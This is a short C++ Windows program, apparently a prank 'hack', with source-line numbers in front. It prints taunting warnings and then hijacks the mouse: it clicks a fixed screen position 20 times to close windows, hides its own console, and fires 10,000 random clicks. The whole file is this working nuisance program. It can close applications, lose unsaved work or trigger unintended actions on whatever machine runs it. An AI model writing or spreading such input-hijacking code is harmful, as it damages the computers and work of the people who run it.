1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
|
//#define WINVER 0x0500
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
//INPUT ip;
cout<<"Hello! You are being hacked... I strongly suggest you close your sticky notes right now."<<endl;
Sleep(5000);
cout<<"In five seconds, you will be controlled. If you want to survive, close this program now."<<endl;
Sleep(5000);
cout<<"Very well. You chose to be controlled."<<endl;
Sleep(1000);
for(int i=0;i<20;++i){
SetCursorPos(1330,10); //move cursor to the X button
mouse_event(MOUSEEVENTF_LEFTDOWN,1330,10,0,0); //click
mouse_event(MOUSEEVENTF_LEFTUP,1330,10,0,0); //click
Sleep(100);
}
cout<<"Ha ha ha!!!"<<endl;
Sleep(1000);
HWND foreground=GetForegroundWindow();
ShowWindow(foreground,SW_HIDE); //hide console window
/*ip.type = INPUT_KEYBOARD; All this is for auto typing, but I figured out that it was pretty useless unless it manages to open notepad or something, so I just commented it out
ip.ki.wScan = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
ip.ki.wVk = 0x41;
ip.ki.dwFlags = 0;
SendInput(1, &ip, sizeof(INPUT));
ip.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &ip, sizeof(INPUT));*/
int x,y;
for(int i=0;i<10000;i++){
x=rand()%1000;
y=rand()%800;
SetCursorPos(x,y); //move cursor to random position
mouse_event(MOUSEEVENTF_LEFTDOWN,x,y,0,0); //click
mouse_event(MOUSEEVENTF_LEFTDOWN,x,y,0,0); //click
mouse_event(MOUSEEVENTF_LEFTUP,x,y,0,0); //click
mouse_event(MOUSEEVENTF_LEFTUP,x,y,0,0); //click
}
return 0;
}
|